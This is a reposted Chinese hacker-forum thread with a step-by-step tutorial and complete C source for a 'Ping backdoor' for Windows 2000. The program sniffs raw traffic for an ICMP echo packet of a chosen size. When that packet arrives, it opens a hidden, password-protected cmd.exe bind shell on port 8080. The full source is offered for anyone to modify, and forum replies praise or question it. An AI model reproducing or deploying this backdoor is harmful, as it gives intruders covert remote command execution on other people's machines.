>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  Win2000 下Ping 后门的简单实现 (转载)
发表文章 发表涂鸦
  回复数:4  点击数:616 将此页发给您的朋友        
作者 主题: Win2000 下Ping 后门的简单实现 (转载) 回复 | 收藏 | 打印 | 篇末
虎虎
级别:中级站友
威望:0
经验:0
货币:189
体力:10.1
来源:61.163.95.*
总发帖数:31
注册日期:2001-06-30
查看 邮件 主页 QQ 消息 引用 复制 下载 

--------------------------------------------------------------------------------
发布者:lion 来源: 类别:原创天地 日期:02-21 今日/总浏览: 47/1994


Win2000 下Ping 后门的简单实现

作者: lion (lion@cnhonker.net)
主页: http://www.cnhonker.net
中国红客网络技术联盟

试验环境 Win2K + VC++6.0

1. 初期的想法

  在使用了小榕的Remotenc后,总觉得老是开放着一个端口不是很好,很容易被发现。能不能在Win2000下实现
象Ping BackDoor for Linux/Solaris等类似的功能呢?把这个后门安装成服务,但不开端口,当接收到特定
大小的ping 包以后,就打开一个特定的端口接收连接。OK,我来试试:)

2. 尝试

  记得以前玩lion worm时改写过一个Ping BackDoor for Linux,所以开始时我就想能不能把这个移植到Win2000
下。于是就简单的改了一下,开了个连接,接受ICMP包(ICMP全称是Internet Control Message Protocol--互联网控
制报文协议 它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文。我们常用的Ping就是用ICMP
来进行通讯的),以为Windows能象linux下一样乖乖的把收到的ICMP包交给自己的 socket,结果ping了老半天没收到
一个bit。
  于是就开始在google上查找资料,最后终于知道了如果要在Win2000下实现类似Ping BackDoor for Linux的后门,
必须以 sniffer 的方式监听ICMP包,而在win2000下写一个简单的sniffer并不需要自己编写驱动。:)中文详细资料
请看绿盟zhangbo的 无需驱动程序的Sniffer-IPMon 一文, WinSock 2 允许程序使用WSAIoctl( )给一个SOCK_RAW类型
的socket设置SIO_RCVALL属性,该socket就可以收到所有经过本机的数据。

3.具体实现方法如下:

  (1) 创建一个SOCK_RAW socket
  // 创建一个原始socket, 接受所有接收的包(sniffer)
  if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
  {
    printf("WSASocket() failed: %d\n", WSAGetLastError());
    return -1;
  }

  (2) 将该socket与本机的某个网络接口绑定
  // 取得本地地址
  gethostname((char*)LocalName, sizeof(LocalName)-1);
  if((hp = gethostbyname((char*)LocalName)) == NULL)
  {
    return -1;
  }
  memset(&dest,0,sizeof(dest));
  memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);  // TCP嗅探选项
  dest.sin_family = AF_INET;
  dest.sin_port = htons(8000);            // 指定任意端口
  // socket bind
  bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

  (3) 用WSAIoctl( )给一个SOCK_RAW socket设置SIO_RCVALL属性
  // 设置socket为接受所有包
  WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,
         sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

  (4) 循环读取嗅探到的包,判断包的大小是否为设定要监听的包的大小再把数据交给 sniffer 解包程序处理
(当然你也可以先判断是否为ICMP包)
  // 循环监听包的大小
  while(1)
  {
    // 读数据
    sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);
    // 如果读数据出错
    if (sread == SOCKET_ERROR || sread < 0)
    {
      if (WSAGetLastError() == WSAETIMEDOUT)
        continue;
      printf("recvfrom failed: %d\n",WSAGetLastError());
      return -1;
    }
    else
    // 如果读到数据的大小 == 监听包的大小 + 28
    if ( sread == packsize + 28)
    {
      // 将接收到的数据交给 sniffer 解包程序处理
      decode_sniffer(recvbuf, sread - 28, &from);
    }
  }

  (5) sniffer 解包程序再判断读取的包是否为 ICMP_ECHO ICMP回显请求报文
  sniffer解包这里的处理很简单,大家可以任意发挥.:)

1.首先定义IP和ICMP首部,以便于解包程序解包
  // 定义IP 首部
  typedef struct iphdr
  {
    unsigned char h_verlen;      // 4位首部长度,4位IP版本号
    unsigned char tos;      // 8位服务类型TOS
    unsigned short total_len;    // 16位总长度(字节)
    unsigned short ident;      // 16位标识
    unsigned short frag_and_flags;    // 3位标志位
    unsigned char ttl;      // 8位生存时间 TTL
    unsigned char proto;      // 8位协议(TCP, UDP 或其他)
    unsigned short checksum;    // 16位IP首部校验和
    unsigned int sourceIP;      // 32位源IP地址
    unsigned int destIP;      // 32位目的IP地址
  } IPHeader;          // IP首部长度为20
  // 定义ICMP首部
  typedef struct _ihdr
  {
    unsigned char i_type;      // 8位类型
    unsigned char i_code;      // 8位代码
    unsigned short i_cksum;      // 16位校验和
    unsigned short i_id;      // 识别号(一般用进程号作为识别号)
    unsigned short i_seq;      // 报文序列号
  } ICMPHeader;          // ICMP首部长度为8

2. 简单sniffer解包程序,如果收到的包为ICMP_ECHO 类型,且大小为监听的包的大小,就开一个bindshell
  // 简单Sniffer 解包程序
  void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
  {
    ICMPHeader *icmphdr;

    // ICMP首部的地址等于buf+IP首部长度:buf+20
    icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));
    // 简单判断如果为icmp 请求包
    if (icmphdr->i_type == ICMP_ECHO)
    {
      // bind shell
      bindshell(NULL);
    }
    else
    printf("\r\n Get Other Packets!");

    return;
  }

  (6) bind shell的实现
  1.在指定端口创建一个server socket接受连接
  // 创建一个socket
  bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  // 服务器地址和端口指定
  addrServer.sin_family = AF_INET;
  addrServer.sin_port = htons(bport);
  addrServer.sin_addr.s_addr = ADDR_ANY;
  // 设置超时60s
  int TimeOut = 60000;
  setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));
  // 监听端口
  bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
  listen(bindServer, 2);
  printf("\r\n Bind Port on %d ok.", bport);
  // 接受client连接
  int iLen = sizeof(addrClient);

  2.如果有连接进来就为连接新建一个socket句柄 getClient
  // 接收1次连接
  SOCKET getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);
  if(getClient != INVALID_SOCKET)
  {
    // 如果有连接进来设置延时为60S
    int iTimeOut = 60000;
    setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
  }
  else return -1;

3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令,并把执行的结果返回给socket getClient
   3.1 首先创建两个匿名管道,一个用于新进程的输入,一个用于新进程的输出
  // 建两个匿名管道
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;     
  SECURITY_ATTRIBUTES sa;
  sa.nLength=12;
  sa.lpSecurityDescriptor=0;
  sa.bInheritHandle=TRUE;
  CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // pipe1
  CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // pipe2

3.2 创建一个绑定cmd.exe的进程, 由hReadPipe2读数据,向hWritePipe1写数据
  // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
  char cmdLine[] = "cmd.exe";
  STARTUPINFO siinfo;
  PROCESS_INFORMATION ProcessInformation;
  ZeroMemory(&siinfo,sizeof(siinfo));
  siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  siinfo.wShowWindow = SW_HIDE;
  siinfo.hStdInput = hReadPipe2;            // 新进程读取写入pipe2的数据
  siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;  // 新进程向pipe1写数据
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

3.3 循环读取hReadPipe1和连接是否有数据
    把新进程的输出(hWritePipe1)数据写入新连接中,
    把从socket getClient收到的数据写入进进程的输入管道(Pipe2)
  unsigned long lBytesRead;
  while(1)
  {
    // 检查管道pipe1是否有数据返回
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

    if(lBytesRead)
    {
      // 从管道pipe1读数据
      ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
      if(!ret) break;
      
      // 把从管道pipe1读到的数据写入连接 getClient
      ret = send(getClient,Buff,lBytesRead,0);
      if(ret <= 0) break;
    }
    else
    {
      // 如果连接 getClient 有接收到数据
      lBytesRead = recv(getClient,Buff,1024,0);
      if(lBytesRead <= 0) break;   
      // 把从连接 getClient 读到的数据写入Pipe2
      ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
      if(!ret) break;
    }
  }

(7) 程序完工

4. 附简单的 Ping BackDoor for Win2K 源代码
大家可以任意修改:)
ICMP Shell for Win2K 正在编写中,请稍侯.


/* ======================================================================

Ping BackDoor V0.1 For Win2K
Code by Lion. Welcome to Http://www.cnhonker.net

========================================================================= */

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
//#include <ws2tcpip.h>
#include <mstcpip.h>

#define ICMP_ECHO 8          // ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY 0      // ICMP回显应答报文的类型值为0
#define SNIFFER_ICMP_SIZE 101    // 监听ICMP包的大小
#define BIND_PORT 8080        // 默认bind shell 端口
#define MAX_PACKET 10000      // 最大ICMP包的大小
#define DEF_PASSWORD "givemeshell!" // 默认密码

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))

// 定义IP 首部
typedef struct iphdr
{
  unsigned char h_verlen;      // 4位首部长度,4位IP版本号   1
  unsigned char tos;        // 8位服务类型TOS        1
  unsigned short total_len;    // 16位总长度(字节)       2 
  unsigned short ident;      // 16位标识           2
  unsigned short frag_and_flags;  // 3位标志位          2
  unsigned char ttl;        // 8位生存时间 TTL       1
  unsigned char proto;      // 8位协议(TCP, UDP 或其他)    1
  unsigned short checksum;    // 16位IP首部校验和        2
  unsigned int sourceIP;      // 32位源IP地址         4
  unsigned int destIP;      // 32位目的IP地址         4
} IPHeader;              // IP首部长度为:        20

// 定义ICMP首部
typedef struct _ihdr
{
  unsigned char i_type;      // 8位类型             1
  unsigned char i_code;      // 8位代码             1
  unsigned short i_cksum;      // 16位校验和          2
  unsigned short i_id;      // 识别号(一般用进程号作为识别号)  2
  unsigned short i_seq;      // 报文序列号           2
} ICMPHeader;            // ICMP首部长度为:         8

int sniffer();                      // 监听ICMP 大小
void decode_sniffer(char *, int, struct sockaddr_in *); // 简单Sniffer 解包程序
DWORD CALLBACK bindshell(LPVOID);            // bind shell


DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
HANDLE bindthread;


// ICMPDoor 主函数
int main(int argc, char **argv)
{
  WSADATA wsaData;
  int retval;
  
  // socket 初始化
  if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)
  {
    printf("WSAStartup failed: %d\n",retval);
    exit(-1);
  }

  // sniffer 开始
  sniffer();

  // socket 结束
  WSACleanup();
  return 0;
}

// sniffer 主函数
int sniffer()
{
  int packsize = SNIFFER_ICMP_SIZE;
  SOCKET socksniffer;
  struct sockaddr_in dest,from;
  struct hostent * hp;
  int sread;
  int fromlen = sizeof(from);
  unsigned char LocalName[256];
  char *recvbuf;  

  // 创建一个原始socket, 接受所有接收的包(sniffer)
  if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
  {
    printf("WSASocket() failed: %d\n", WSAGetLastError());
    return -1;
  }

  // 取得本地地址
  gethostname((char*)LocalName, sizeof(LocalName)-1);
  if((hp = gethostbyname((char*)LocalName)) == NULL)
  {
    return -1;
  }
  memset(&dest,0,sizeof(dest));
  memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);  // TCP嗅探选项
  dest.sin_family = AF_INET;
  dest.sin_port = htons(8000);                    // 指定任意端口
  // socket bind
  bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

  // 设置socket为接受所有包
  WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

  // 分配socket接收缓冲区大小为MAX_PACKET
  recvbuf = (char *)xmalloc(MAX_PACKET);

  // 循环监听包的大小
  while(1)
  {
    // 读数据
    sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);

    // 如果读数据出错
    if (sread == SOCKET_ERROR || sread < 0)
    {
      if (WSAGetLastError() == WSAETIMEDOUT)
      {
        continue;
      }
      printf("recvfrom failed: %d\n",WSAGetLastError());
      return -1;
    }
    else
//    if ( sread >= 28)
    // 如果读到数据的大小 == 监听包的大小 + 28
    if ( sread == packsize + 28)
    {
      // 将接收到的数据交给 sniffer 解包程序处理
      decode_sniffer(recvbuf, sread - 28, &from);
    }
  }
  return 1;
}

// 简单Sniffer 解包程序
void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{
  ICMPHeader *icmphdr;

  // ICMP首部的地址等于buf+IP首部长度:buf+20
  icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));  

/*
  printf("\r\n %d bytes from %s,", bytes, inet_ntoa(from->sin_addr));    // 取出接收数据
  printf(" ICMP_Type: %d", icmphdr->i_type);          // 取出类型
  printf(" ICMP_Seq: %d\r\n", icmphdr->i_seq);          // 取出序列号
    
  //取出数据段 buf + 28 + i
  for(int i = 0; i < bytes - 1; i++)
  {
    printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));  
  }
*/
  
//  if (icmphdr->i_type == ICMP_ECHO || icmphdr->i_type == ICMP_ECHOREPLY)
  // 简单判断如果为icmp 请求包
  if (icmphdr->i_type == ICMP_ECHO)
  {
    // bind shell
    bindshell(NULL);
    
//    DWORD bid;
//    bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);
  }
  else
  printf("\r\n Get Other Packets!");

  return;
}

// bind shell函数
DWORD CALLBACK bindshell(LPVOID)
{
  int bport = BIND_PORT;
  SOCKET bindServer, getClient;
  struct sockaddr_in addrServer, addrClient;
  char Buff[4096];
  char *messages = "\r\n======================== Ping BackDoor V0.1 ========================\r\n========= Code by Lion. Welcome to Http://www.cnhonker.net =========\r\n";
  char *getpass = "\r\n Your PassWord:";
  char *passok = "\r\n OK! Please Enter:";
  char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n";
  char *exitok = "\r\n Exit OK!\r\n";
  int ret;

  // 创建一个socket
  bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // 服务器地址和端口指定
  addrServer.sin_family = AF_INET;
  addrServer.sin_port = htons(bport);
  addrServer.sin_addr.s_addr = ADDR_ANY;

  // 设置超时
  int TimeOut = 60000;
  setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));

  // 设置重复利用端口
  UINT bReUser = 1;
  setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));

  // 监听端口
  bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
  listen(bindServer, 2);

  printf("\r\n Bind Port on %d ok.", bport);

  // 接受client连接
  int iLen = sizeof(addrClient);

  // 接收1次连接
  getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);

  if(getClient != INVALID_SOCKET)
  {
    // 如果有连接进来设置延时为60S
    int iTimeOut = 60000;
    setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
  }
  else
    return -1;

  // 写欢迎信息
  send(getClient, messages, strlen(messages), 0);

  // 写密码验证信息
  send(getClient, getpass, strlen(getpass), 0);

  // 接收数据
  recv(getClient,Buff,1024,0);

  // 验证密码
  if(!(strstr(Buff, DEF_PASSWORD)))
  {
    // 如果密码错误,写密码错误信息
    send(getClient, nothispass, strlen(nothispass), 0);
    printf("\r\n PassWord Not Right!");
    closesocket(getClient);
    closesocket(bindServer);
    return -1;
  }

  // 写通过验证信息
  send(getClient, passok, strlen(passok), 0);

  // 建两个匿名管道
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  unsigned long lBytesRead;
      
  SECURITY_ATTRIBUTES sa;
  sa.nLength=12;
  sa.lpSecurityDescriptor=0;
  sa.bInheritHandle=TRUE;

  CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
  CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
    
  STARTUPINFO siinfo;
  char cmdLine[] = "cmd.exe";
  PROCESS_INFORMATION ProcessInformation;

  ZeroMemory(&siinfo,sizeof(siinfo));
  siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  siinfo.wShowWindow = SW_HIDE;
  siinfo.hStdInput = hReadPipe2;            // 读取写入pipe2的数据
  siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;  // 向这里写数据

  printf("\r\n Pipe Create OK!");

  // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
  int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

  while(1)
  {
    // 检查管道是否有数据返回
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

    if(lBytesRead)
    {
      // 从管道hReadPipe1读数据
      ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
      if(!ret) break;
      
      // 把从管道hReadPipe1读到的数据写入连接 getClient
      ret = send(getClient,Buff,lBytesRead,0);
      if(ret <= 0) break;
    }
    else
    {
      // 如果连接 getClient 有接收到数据
      lBytesRead = recv(getClient,Buff,1024,0);
      if(lBytesRead <= 0) break;
    
      // 把从连接 getClient 读到的数据写入hWritePipe2
      ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
      if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
      {
        // 写退出信息
        send(getClient, exitok, strlen(exitok), 0);
        closesocket(getClient);
        closesocket(bindServer);
        return 1;
      }

      if(!ret) break;
    }
  }

  closesocket(getClient);
  closesocket(bindServer);
  return 1;
}




发布者: lion
来源:





文章版权归原作者所有, 未经允许请勿转载, 如有任何问题请联系我们.

编辑 删除 发表时间发表于 2002-04-06.12:09:14   MSIE 5.0 Windows 98IP: 已记录
HUA帅哥哦
级别:一般站友
威望:0
经验:0
货币:6
体力:0.2
来源:海南
总发帖数:27
注册日期:2002-01-29
查看 邮件 主页 QQ 消息 引用 复制 下载 

大哥,别害人了好吗?
狮子的ping后门有几个人是成功的

编辑 删除 发表时间发表于 2002-04-06.20:54:22   MSIE 5.0 Windows 98IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

win32 的我没试过 回去试试
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-04-06.22:07:49   MSIE 5.01 Windows 2000IP: 已记录
dibo
级别:一般站友
威望:0
经验:0
货币:
体力:
来源:202.101.143.*
总发帖数:20
注册日期:2001-04-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

这绝对是个好东西。

大体的结构没有什么问题,只不过细节上还有点不尽人意。

就看你怎么个改法了。(我总觉得人家可以把源代码贴出来就是给你点石

成金的手指,而不是金子)。

小榕,你有什么想法?

编辑 删除 发表时间发表于 2002-04-10.14:48:59   MSIE 5.01 Windows 2000IP: 已记录
笑一刀帅哥哦
级别:一般站友
威望:0
经验:0
货币:263
体力:37.6
来源:61.185.20.*
总发帖数:26
注册日期:2002-03-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

楼上的 说的没有错 好东西 绝对是!

编辑 删除 发表时间发表于 2002-04-10.14:53:38   MSIE 6.0 Windows 98IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 1 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题